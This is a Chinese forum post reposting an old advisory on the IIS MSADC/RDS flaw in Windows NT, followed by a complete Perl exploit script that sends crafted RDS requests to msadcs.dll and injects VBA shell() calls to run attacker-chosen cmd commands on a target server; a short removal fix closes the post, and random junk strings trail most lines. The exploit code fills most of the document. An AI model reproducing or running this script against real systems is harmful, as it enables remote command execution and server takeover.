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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) BUWqI dg  
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涉及程序: ".W8)  
Microsoft NT server E0Y-7&Fv  
XlV0*}S  
描述: zDw5]*R  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 mtJ9nC  
~ DBcIy?  
详细: !ipR$ dM  
如果你没有时间读详细内容的话,就删除: ]^Qn  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lt ^GvWg  
有关的安全问题就没有了。 ukIQr/k  
M^O2\G#B  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 v>$'iT~l  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 fI{ESXU  
关于利用ODBC远程漏洞的描述,请参看: d@ i}-;  
f({Ei`|  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm kddZZA3`  
7({]x*o*%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 '_GrD>P)-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp : ]sUpO  
j <Bkj/  
这里不再论述。 ->l%TCHP  
PMN jn9d  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: U> cV|  
{ vKLAxc  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset H7d/X  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q?4p)@#   
bL'aB{s  
zb k q   
#将下面这段保存为txt文件,然后: "perl -x 文件名" }])oM|fgO  
O!P H&;H  
#!perl lBK}VU^  
# I(V!Mv8j  
# MSADC/RDS 'usage' (aka exploit) script ,u+PyG7 cb  
# _I)U%? V+  
# by rain.forest.puppy L\@I*QP  
# d{SG Cr 9d  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me fDT%!  
# beta test and find errors! pm_`>3  
yKa{08X:  
use Socket; use Getopt::Std; *VFf.aPwYi  
getopts("e:vd:h:XR", \%args); EK;YiJ  
YE|SKx@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |$vX<. S  
1DE1.1  
if (!defined $args{h} && !defined $args{R}) { Ov-icDMm  
print qq~ %>~sJ0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 43mP]*=A  
-h <host> = host you want to scan (ip or domain) )TVFtI=,NN  
-d <seconds> = delay between calls, default 1 second (-ufBYO6  
-X = dump Index Server path table, if available j6Yy6X]  
-v = verbose *h'=3w:G  
-e = external dictionary file for step 5 |y0(Q V  
|N%fMPKa  
Or a -R will resume a command session L1cI`9  
IFF92VD&  
~; exit;} g/P+ZXJ  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; iV&6nh(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &Xf^Iu  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} %Z):>'  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); /H8g(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 5*Y^\N  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } SKkUU^\#R`  
Dp)=0<$y  
if (!defined $args{R}){ $ret = &has_msadc; tasUZ#\6  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} j!U-'zJ  
^pQCNKLBY  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #vti+A~n,4  
. "cmd /c "; {]%0lf:  
$in=<STDIN>; chomp $in; 2/"u5  
$command="cmd /c " . $in ; czS+< w  
IOqwCD[  
if (defined $args{R}) {&load; exit;} 5@+,Xh,H|t  
3HcQ(+Z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; |4B:<x   
&try_btcustmr; j2QmxTa!  
KX'{[7}m'  
print "\nStep 2: Trying to make our own DSN..."; z([ v%zf  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >zXsNeGQR  
]pH-2_  
print "\nStep 3: Trying known DSNs..."; q,93nhs "  
&known_dsn; LUM@#3&  
-uMSe~  
print "\nStep 4: Trying known .mdbs..."; 5h Q E4/hH  
&known_mdb; vgfcCcZ_iZ  
g^}8:,F_  
if (defined $args{e}){ v(ZYS']d2  
print "\nStep 5: Trying dictionary of DSN names..."; 'VzP};  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } t!r A%*  
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print "Sorry Charley...maybe next time?\n"; eHn7iuS8  
exit; VGpWg rmHk  
ABD)}n=%c  
############################################################################## Wu[&Wv~  
i{`FmrPO~  
sub sendraw { # ripped and modded from whisker &#!4XOyB  
sleep($delay); # it's a DoS on the server! At least on mine... P<X\%_Iat  
my ($pstr)=@_; C71qPb|$R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gW)3e1a  
die("Socket problems\n"); l49*<nkmq  
if(connect(S,pack "SnA4x8",2,80,$target)){ gMWjk7  
select(S); $|=1; GO` Ru 8  
print $pstr; my @in=<S>; 4dO~C  
select(STDOUT); close(S); IC1NKn<k  
return @in; S|7!{}  
} else { die("Can't connect...\n"); }} zO).T M_  
c:<005\Bg  
############################################################################## Y2n!>[[.  
JBE!j-F  
sub make_header { # make the HTTP request n `&/ D  
my $msadc=<<EOT r:f[mk"-"A  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  >qS9PX  
User-Agent: ACTIVEDATA &PYK8}pBk3  
Host: $ip 8ZM&(Lz7u  
Content-Length: $clen ="Ho%*@6  
Connection: Keep-Alive Cd,jDPrw  
3RYpJAH  
ADCClientVersion:01.06 PsnWWj?c  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 9 7GV2]-M  
3Z5D)zuc  
--!ADM!ROX!YOUR!WORLD! /fZe WU0W  
Content-Type: application/x-varg 6-z%633DL  
Content-Length: $reqlen H*ow\ Ct  
#gz M|  
EOT bCo7*<I4  
; $msadc=~s/\n/\r\n/g; 6$kqaS##  
return $msadc;} Si8pzd  
[fAV5U  
############################################################################## -I8=T]_D  
';3{T:I  
sub make_req { # make the RDS request }4 )H   
my ($switch, $p1, $p2)=@_; sH{4Y-J  
my $req=""; my $t1, $t2, $query, $dsn; )wC?T  
}=<  
if ($switch==1){ # this is the btcustmr.mdb query @;*Ksy@1O  
$query="Select * from Customers where City=" . make_shell(); h"X;3b^ m  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,K9*%rW)  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} T ]t'39  
2oVSn"  
elsif ($switch==2){ # this is general make table query &J[:awQX  
$query="create table AZZ (B int, C varchar(10))"; ED=V8';D  
$dsn="$p1";} w65K[l;2  
)J2mM  
elsif ($switch==3){ # this is general exploit table query ]^h]t~  
$query="select * from AZZ where C=" . make_shell(); 3EJj9}#x"'  
$dsn="$p1";} L 6 c 40  
J!c)s!`w  
elsif ($switch==4){ # attempt to hork file info from index server } Yb[   
$query="select path from scope()"; b$N 2z  
$dsn="Provider=MSIDXS;";} Q6PHpaj  
Y<N5# );f  
elsif ($switch==5){ # bad query '@o;-'b  
$query="select"; 7j@Hs[ *  
$dsn="$p1";} (SpX w,:  
6 Q%jA7  
$t1= make_unicode($query); _Gn2o2T  
$t2= make_unicode($dsn); nV"~-On  
$req = "\x02\x00\x03\x00"; S0zD"T  
$req.= "\x08\x00" . pack ("S1", length($t1)); t<#TJ>Le  
$req.= "\x00\x00" . $t1 ; wxKX{Bs  
$req.= "\x08\x00" . pack ("S1", length($t2)); kVkU)hqR  
$req.= "\x00\x00" . $t2 ; MqW7cjg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :flx6,7D  
return $req;} \y97W&AN  
, ]bhyp  
############################################################################## cS5Pl  
m8A#~i .  
sub make_shell { # this makes the shell() statement % Qmn-uZ  
return "'|shell(\"$command\")|'";} >")Tf6zw&  
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############################################################################## ;Y 00TGU  
i6^twK)j  
sub make_unicode { # quick little function to convert to unicode w mn+  
my ($in)=@_; my $out; [$mHv,~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {j9{n  
return $out;} RSfQNc9Z  
^]H5h]U '  
############################################################################## Ur9?Td'*>  
`95r0t0hh\  
sub rdo_success { # checks for RDO return success (this is kludge) Y\D!/T  
my (@in) = @_; my $base=content_start(@in); !\-{D$E?H  
if($in[$base]=~/multipart\/mixed/){ S=MEG+Ad  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \HqNAE2T  
return 0;} .CL[_;}  
tI`Q/a5@  
############################################################################## =#;3Q~:Jl^  
52%2R]G!  
sub make_dsn { # this makes a DSN for us I4'5P}1yp  
my @drives=("c","d","e","f"); '.on)Zd.  
print "\nMaking DSN: "; X$HIVxyq2  
foreach $drive (@drives) { p, h9D_  
print "$drive: "; x.]i }mt  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . *{YlN}vA  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" r /YMLQ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /z4$gb7Y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <NR#Y%}-V  
return 0 if $2 eq "404"; # not found/doesn't exist L5Ebc#  
if($2 eq "200") { aT{_0m$G10  
foreach $line (@results) { P Y_u/<u  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} )P%ZA)l%_o  
} return 0;} u8'Zl8 g  
UvJ}b  
############################################################################## lNy.g{2f<m  
c?tBi9'Y]  
sub verify_exists { 6@Y_*4$|  
my ($page)=@_; 69PE9zz  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @D.}\(  
return $results[0];} S ^"y4- 2  
2V"B:X\  
############################################################################## ]GMe \n  
u7Y WnD  
sub try_btcustmr { aI%g2 q0f  
my @drives=("c","d","e","f"); |WQBDB`W  
my @dirs=("winnt","winnt35","winnt351","win","windows"); GOj-)i/_  
 '<jyw   
foreach $dir (@dirs) { :nh_k4S@v  
print "$dir -> "; # fun status so you can see progress :WjpzgPuN  
foreach $drive (@drives) { Cw iKi^m  
print "$drive: "; # ditto ]}Mj)J"m  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; xmNB29#  
$reqlenlen=length( "$reqlen" ); f~t:L, \,  
$clen= 206 + $reqlenlen + $reqlen; i/65v  
S{Kiy#ltWc  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); "LHcB]^<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 4~ q5,^kgB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} g$":D  
XtXEB<4Z  
############################################################################## qt"G[9;  
i)o2klIkB  
sub odbc_error { J &o |QG  
my (@in)=@_; my $base; AhCW'.  
my $base = content_start(@in); !SC`D])l  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this h(<,fg1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; G|[=/>~B  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  H_B4  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aKV$pC<[o  
return $in[$base+4].$in[$base+5].$in[$base+6];} Bz_^~b7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; N/[p <  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \6S7T$$ 1m  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8|b3j^u  
GSY(  
############################################################################## 4ae`pAu  
6~0$Z-);(  
sub verbose { QsGiclU  
my ($in)=@_; 6h>wt-tRC  
return if !$verbose; heltgRt  
print STDOUT "\n$in\n";} HpR]q05d  
)}''L{k-  
############################################################################## _ftI*ni:<  
K}2Erm%A@y  
sub save { AG3>V+k{Lv  
my ($p1, $p2, $p3, $p4)=@_; ~ {?_p@&n  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; E_gD:PPU5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4]rnY~  
close OUT;} 2{M^,=^>  
fr,7rS/w{l  
############################################################################## @M<|:Z %.@  
_G_Cj{w  
sub load { osciZ'~  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; k=2Lo  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); LO'**}vm  
@p=<IN>; close(IN); V @rI`~$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); v.\*./-i  
$target= inet_aton($ip) || die("inet_aton problems"); < 3(LWxw  
print "Resuming to $ip ..."; fTzvmC:g7  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; oYHj~t  
if($p[1]==1) { .\ K_@M  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; -_ I _W&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 3sc+3-TF  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); (w&F/ynO:  
if (rdo_success(@results)){print "Success!\n";} y@]_+2Vo  
else { print "failed\n"; verbose(odbc_error(@results));}} |HU@ >  
elsif ($p[1]==3){ X#d~zk[r2  
if(run_query("$p[3]")){ xE1 eT,  
print "Success!\n";} else { print "failed\n"; }} ai}mOyJs  
elsif ($p[1]==4){ d[r#-h> dS  
if(run_query($drvst . "$p[3]")){ QU#w%|  
print "Success!\n"; } else { print "failed\n"; }} yh^!'!I6u[  
exit;} Yi .u"sh]  
YgKZ#?*  
############################################################################## /{|EAd{  
A+HF@Uw}^  
sub create_table { k")R[)92b?  
my ($in)=@_; KgV3j]d  
$reqlen=length( make_req(2,$in,"") ) - 28; ~a%Z;Aj  
$reqlenlen=length( "$reqlen" ); >O1[:%Z1  
$clen= 206 + $reqlenlen + $reqlen; jN e`;o  
my @results=sendraw(make_header() . make_req(2,$in,"")); 2<li7c59  
return 1 if rdo_success(@results); QFfK0X8cC  
my $temp= odbc_error(@results); verbose($temp); k $M]3}$U  
return 1 if $temp=~/Table 'AZZ' already exists/; "b?v?V0%C  
return 0;} Fd#?\r.  
h"`ucC8X  
############################################################################## _4TH4~cY  
d#6`&MR  
sub known_dsn { ekI2icD  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go c?P?yIz6p  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  R=.4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^ K|;~}P  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); za#s/b$[  
H&F9J ^rC  
foreach $dSn (@dsns) { ilK-?@u+  
print "."; F1iGMf-8  
next if (!is_access("DSN=$dSn")); &-s'BT[PGq  
if(create_table("DSN=$dSn")){ ##KBifU"  
print "$dSn successful\n"; VQY&g;[d  
if(run_query("DSN=$dSn")){ lW<PoT  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5'0xz.)!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -<Hu!V`+  
qL5{f(U4<  
############################################################################## Q#^Qv.s?K  
dX\.t <  
sub is_access { wpN k+;  
my ($in)=@_; s?zAP O8Sz  
$reqlen=length( make_req(5,$in,"") ) - 28; D*Ik7Pe  
$reqlenlen=length( "$reqlen" ); fKp#\tCc y  
$clen= 206 + $reqlenlen + $reqlen; p7);uF^O%  
my @results=sendraw(make_header() . make_req(5,$in,"")); RZ6xdq}>  
my $temp= odbc_error(@results); Ys -T0  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); !(q sD+  
return 0;} RbCPmiZcH  
[(o7$i29|%  
############################################################################## h8 'v d3  
qud\K+  
sub run_query { <F'X<Bau  
my ($in)=@_; "oWwc zzO  
$reqlen=length( make_req(3,$in,"") ) - 28; !E,A7s  
$reqlenlen=length( "$reqlen" ); U`,0]"Qk  
$clen= 206 + $reqlenlen + $reqlen; R-NS,i={  
my @results=sendraw(make_header() . make_req(3,$in,"")); _FXZm50\g{  
return 1 if rdo_success(@results); \I["2C]3M  
my $temp= odbc_error(@results); verbose($temp); cUqke+!  
return 0;} ]BtbWKJBqe  
0E?jW7yr  
############################################################################## z?[r  
rm4.aO~-F  
sub known_mdb { ikSF)r;*t  
my @drives=("c","d","e","f","g"); ?notxE7 ]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N;Dni#tQ`  
my $dir, $drive, $mdb; 0`)iIz  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; k=4N(i/s  
Y7#-Fra0W  
# this is sparse, because I don't know of many _ ):d`O e  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )'/|)  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", pAb.c  
"\\system32\\certmdb.mdb", &j?#3Qt'_  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% QYa(N[~a  
:@1eph0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", `6 /$M!4$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", L f"i !  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", pWPIJ>2G:  
"\\cfusion\\cfapps\\security\\realm_.mdb", &LF` W  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", AX?fuDLs  
"\\cfusion\\database\\cfexamples.mdb", v^)bhIPe;  
"\\cfusion\\database\\cfsnippets.mdb", %STliJ  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", AS E91T~  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", %{(x3\ *&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 6'kS_Zu{<  
"\\cfusion\\database\\smpolicy.mdb", \Y|~2Ls8tu  
"\\cfusion\\database\cypress.mdb", >H(i^z/c  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", B=>RH!&  
"\\website\\cgi-win\\dbsample.mdb", N;A@' tu8  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", GwG4LIp  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" N=5)fe%{4  
); #these are just =Zu^80/  
foreach $drive (@drives) { 0{[m%eSK'  
foreach $dir (@dirs){ T[,/5J  
foreach $mdb (@sysmdbs) { [q_`X~3  
print "."; {%VV\qaC  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -zp0S*iP7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; JC}f-%H?K  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ is1's[  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; t6,wjN-J  
} else { print "Something's borked. Use verbose next time\n"; }}}}} sf OHl  
&ISb~5  
foreach $drive (@drives) { 1G0fp:\w  
foreach $mdb (@mdbs) { M t*6}Cl  
print "."; 2$14q$eb  
if(create_table($drv . $drive . $dir . $mdb)){ iT;@bp  
print "\n" . $drive . $dir . $mdb . " successful\n"; 'WI^nZM  
if(run_query($drv . $drive . $dir . $mdb)){ !@x+q)2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \k]x;S<a  
} else { print "Something's borked. Use verbose next time\n"; }}}} y kW [B  
} R*oXmuOsYA  
_(d.!qGz  
############################################################################## uGwJ K`!~  
h)6GaJ=  
sub hork_idx { Ti2Ls5H}  
print "\nAttempting to dump Index Server tables...\n"; oT{@_U{*J  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &-czStQ  
$reqlen=length( make_req(4,"","") ) - 28; ZT[3aXS  
$reqlenlen=length( "$reqlen" ); sK"9fU  
$clen= 206 + $reqlenlen + $reqlen; UWZa|I~:J  
my @results=sendraw2(make_header() . make_req(4,"","")); N7b1.]<  
if (rdo_success(@results)){ V~T@6S  
my $max=@results; my $c; my %d; .MVYB\6Q0  
for($c=19; $c<$max; $c++){ Ja]?&j  
$results[$c]=~s/\x00//g; Cv>o.Bp|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; OFGsjYLw  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; L>!8YUz7p$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; T"p(]@Ng  
$d{"$1$2"}="";} !PMU O\y  
foreach $c (keys %d){ print "$c\n"; } 6oinidB[l  
} else {print "Index server doesn't seem to be installed.\n"; }} |+:h|UIUQ  
GyW.2  
############################################################################## SR^_cpZoi  
< AI;6/  
sub dsn_dict { aZet0?Qr  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 4"@GNk~e  
while(<IN>){ ~"lJ'&J}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; R#n%cXc|  
next if (!is_access("DSN=$dSn")); !mRx$ %ul  
if(create_table("DSN=$dSn")){ tp:\j@dB  
print "$dSn successful\n"; FP#FB$eP  
if(run_query("DSN=$dSn")){ -ZW3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;' nL:\  
print "Something's borked. Use verbose next time\n";}}} *9 Q^5;y  
print "\n"; close(IN);} '.Ym!r~wL  
<e)o1+[w  
############################################################################## x1gx$P  
v)f7};"z   
sub sendraw2 { # ripped and modded from whisker sp QLG_o,J  
sleep($delay); # it's a DoS on the server! At least on mine... {kLGWbo|Q  
my ($pstr)=@_; [pg}S#A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q<6P. PTya  
die("Socket problems\n"); {%.Lk'#9  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6al=Cwf  
print "Connected. Getting data"; dQgk.k  
open(OUT,">raw.out"); my @in; zSv^<`X3  
select(S); $|=1; print $pstr; [4+q+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 3Z>YV]YbeU  
close(OUT); select(STDOUT); close(S); return @in; S2C]?6cTq  
} else { die("Can't connect...\n"); }} maSgRf[g  
-6=<#9R  
############################################################################## ;pJ2V2 g8  
2 ?|gnbE:  
sub content_start { # this will take in the server headers  T7$S_  
my (@in)=@_; my $c; i3mAfDF  
for ($c=1;$c<500;$c++) { K{cbn1\,H  
if($in[$c] =~/^\x0d\x0a/){ PT9v*3Bq~  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } u-DK_^v4M  
else { return $c+1; }}} !EF(*~r!9L  
return -1;} # it should never get here actually Zt@Z=r:&  
 m@rSz  
############################################################################## b!$}ma;B  
x.$1<w64t  
sub funky { gJ3c;  
my (@in)=@_; my $error=odbc_error(@in); "DSPPE&[c  
if($error=~/ADO could not find the specified provider/){ ?mRE'#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Q;h3v1GC\P  
exit;} >_ X/[<  
if($error=~/A Handler is required/){ I<h=Cj[[  
print "\nServer has custom handler filters (they most likely are patched)\n"; ~!+ _[uJ  
exit;} {UH9i'y:t  
if($error=~/specified Handler has denied Access/){ $T }Tz7(  
print "\nServer has custom handler filters (they most likely are patched)\n"; dl l%4Sd  
exit;}} H5nS%D  
UP2.]B!d  
############################################################################## 8NimZ(  
W7UtA.2LT  
sub has_msadc { TYjA:d9YH  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); u/AT-e r;  
my $base=content_start(@results); yu&Kh4AP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =^h~!ovj:  
return 0;} *j*Du+  
3@5p"X  
######################## BIWD/ |LQ  
&K:' #[3V  
O|v (5 8A  
解决方案: A%ywj'|z  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll P#G.lft"O  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Hbr^vYs5  
ha'qIT 3&  
拿出来充数 哈哈
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